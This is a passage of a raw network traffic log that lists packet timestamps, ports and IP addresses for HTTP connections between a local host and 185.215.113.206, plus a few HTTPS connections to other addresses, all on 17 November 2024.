Nov 17, 2024 10:07:42.080718040 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.080729961 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.080739975 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.080740929 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.080763102 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.080764055 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.080785990 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.080790043 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.080806971 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.080818892 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.080835104 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.080835104 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.080842972 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.080849886 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.080854893 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.080868006 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.080873966 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.080885887 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.080889940 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.080898046 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.080910921 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.080919027 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.080923080 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.080935001 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.080935955 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.080948114 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.080957890 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.080962896 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.080971956 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.080991983 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.081000090 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.081005096 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.081012011 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.081022024 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.081027031 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.081033945 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.081038952 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.081048012 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.081060886 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.081067085 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.081073046 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.081087112 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.081089973 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.081096888 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.081120014 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.081129074 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.081140995 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.081151962 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.081156015 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.081176043 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.081181049 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.081188917 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.081198931 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.081202984 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.081234932 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.081330061 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.081341982 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.081353903 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.081367016 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.081403017 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.081429005 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.081449032 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.081460953 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.081464052 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.081484079 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.081489086 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.081504107 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.081511974 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.081523895 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.081527948 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.081538916 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.081545115 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.081559896 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.081561089 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.081581116 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.081593990 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.081599951 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.081599951 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.081605911 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.081618071 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.081629992 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.081634998 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.081640005 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.081671953 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.081672907 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.081692934 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.081696033 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.081706047 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.081711054 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.081717968 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.081728935 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.081741095 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.081753016 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.081763983 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.081777096 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.081789970 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.081796885 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.081809044 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.081820011 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.081830025 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.081834078 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.081834078 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.081834078 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.081840992 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.081861019 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.081871033 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.081872940 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.081883907 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.081887960 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.081906080 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.081907988 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.081921101 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.081931114 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.081934929 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.081943035 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.081962109 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.081965923 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.081975937 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.081984997 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.081986904 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.082000017 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.082010984 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.082010984 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.082020998 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.082045078 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.082058907 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.082058907 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.082077026 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.082089901 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.082101107 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.082102060 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.082128048 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.082142115 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.082149982 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.082154036 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.082165956 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.082178116 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.082178116 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.082196951 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.082204103 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.082209110 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.082222939 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.082231045 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.082236052 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.082245111 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.082273006 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.082273006 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.082287073 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.082298994 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.082328081 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.082432985 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.082451105 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.082463026 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.082477093 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.082490921 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.082500935 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.082504988 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.082514048 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.082525015 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.082525969 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.082536936 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.082540035 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.082547903 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.082560062 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.082561970 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.082581997 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.082590103 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.082595110 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.082602024 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.082613945 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.082626104 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.082634926 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.082644939 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.082645893 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.082667112 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.082667112 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.082680941 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.082685947 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.082691908 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.082705021 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.082705975 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.082719088 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.082731962 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.082742929 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.082752943 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.082753897 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.082782030 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.082792044 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.082814932 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.082825899 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.082837105 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.082848072 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.082860947 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.082870007 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.082901955 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.082933903 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.082943916 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.083012104 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.083138943 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.083151102 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.083161116 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.083173037 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.083184958 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.083194971 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.083211899 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.083230972 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.083239079 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.083239079 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.083239079 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.083245039 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.083257914 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.083272934 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.083280087 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.083286047 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.083298922 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.083308935 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.083311081 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.083328962 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.083354950 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.086308002 CET	443	49978	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:42.092108965 CET	49978	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:42.092145920 CET	443	49978	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:42.092567921 CET	49978	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:42.092581034 CET	443	49978	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:42.096525908 CET	443	49976	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:42.096553087 CET	443	49976	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:42.096642971 CET	443	49976	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:42.096669912 CET	49976	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:42.096698999 CET	49976	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:42.098982096 CET	49976	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:42.098998070 CET	443	49976	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:42.104928017 CET	443	49977	20.125.209.212	192.168.2.6
Nov 17, 2024 10:07:42.105159044 CET	49977	443	192.168.2.6	20.125.209.212
Nov 17, 2024 10:07:42.105171919 CET	443	49977	20.125.209.212	192.168.2.6
Nov 17, 2024 10:07:42.105664968 CET	443	49977	20.125.209.212	192.168.2.6
Nov 17, 2024 10:07:42.106066942 CET	49977	443	192.168.2.6	20.125.209.212
Nov 17, 2024 10:07:42.106148005 CET	443	49977	20.125.209.212	192.168.2.6
Nov 17, 2024 10:07:42.106216908 CET	49977	443	192.168.2.6	20.125.209.212
Nov 17, 2024 10:07:42.126801014 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.126816034 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.126827002 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.126837969 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.126904964 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.126944065 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.147340059 CET	443	49977	20.125.209.212	192.168.2.6
Nov 17, 2024 10:07:42.162761927 CET	443	49979	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:42.165481091 CET	49979	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:42.165529013 CET	443	49979	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:42.166090965 CET	49979	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:42.166100025 CET	443	49979	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:42.173847914 CET	443	49981	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:42.178431988 CET	49981	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:42.178474903 CET	443	49981	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:42.179172993 CET	49981	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:42.179178953 CET	443	49981	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:42.189910889 CET	443	49980	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:42.190470934 CET	49980	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:42.190488100 CET	443	49980	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:42.191103935 CET	49980	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:42.191108942 CET	443	49980	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:42.194484949 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.194499016 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.194509029 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.194566011 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.194574118 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.194577932 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.194590092 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.194607019 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.194624901 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.194628000 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.194645882 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.194659948 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.194672108 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.194684982 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.194686890 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.194694996 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.194716930 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.194736004 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.194835901 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.194876909 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.194900990 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.194912910 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.194940090 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.194964886 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.194976091 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.194988012 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.195004940 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.195018053 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.195024967 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.195029974 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.195058107 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.195061922 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.195074081 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.195081949 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.195086956 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.195099115 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.195111036 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.195118904 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.195132971 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.195132971 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.195146084 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.195158005 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.195168972 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.195173025 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.195182085 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.195185900 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.195204973 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.195205927 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.195224047 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.195230007 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.195236921 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.195245028 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.195247889 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.195259094 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.195276022 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.195283890 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.195287943 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.195297003 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.195307016 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.195326090 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.195334911 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.195338964 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.195359945 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.195359945 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.195373058 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.195380926 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.195393085 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.195401907 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.195406914 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.195416927 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.195425987 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.195435047 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.195440054 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.195453882 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.195467949 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.195473909 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.195482016 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.195487022 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.195508957 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.195518017 CET	49892	80	192.168.2.6	185.215.113.206
